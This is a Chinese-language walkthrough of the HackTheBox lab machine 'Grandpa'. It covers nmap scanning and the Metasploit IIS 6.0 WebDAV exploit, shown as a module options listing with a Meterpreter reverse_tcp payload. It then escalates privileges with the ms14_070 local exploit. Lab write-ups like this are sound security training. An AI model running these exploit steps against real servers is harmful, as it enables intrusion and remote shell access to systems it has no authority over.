Hackthebox::grandpa walkthrough

• Grandpa是hackthebox上一台难度为简单的windows靶机

信息收集

• 首先使用nmap扫描一下端口情况

• 然后使用nmap扫描一下是否存在漏洞

• 通过两次nmap的扫描，我们得知靶机开放了80端口，并且存在漏洞
• 使用searchsploit扫描Microsoft IIS httpd 6.0服务，看看是否有可以被利用的漏洞

• 我们发现了许多可以使用的脚本，再次使用msf查看是否可以利用‘

• 我们发现了可以利用的部分，我们使用第二个

msf6 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > show options

Module options (exploit/windows/iis/iis_webdav_scstoragepathfromurl):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   MAXPATHLENGTH  60               yes       End of physical path brute force
   MINPATHLENGTH  3                yes       Start of physical path brute force
   Proxies                         no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS         10.129.166.10    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT          80               yes       The target port (TCP)
   SSL            false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI      /                yes       Path of IIS 6 web application
   VHOST                           no        HTTP server virtual host


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     tun0             yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Microsoft Windows Server 2003 R2 SP2 x86

• 我们成功进入了，但是很可惜我们的权限不足

• 我们将迁移进程，并且寻找合适的漏洞利用脚本来入侵
• 迁移进程

• 使用suggester查看可以利用漏洞的脚本

• 我们发现了以下可以使用的方式，我们选择exploit/windows/local/ms14_070_tcpip_ioctl

• 完成设置

• 好的，我们成功了，获得了最高权限

• 查看flag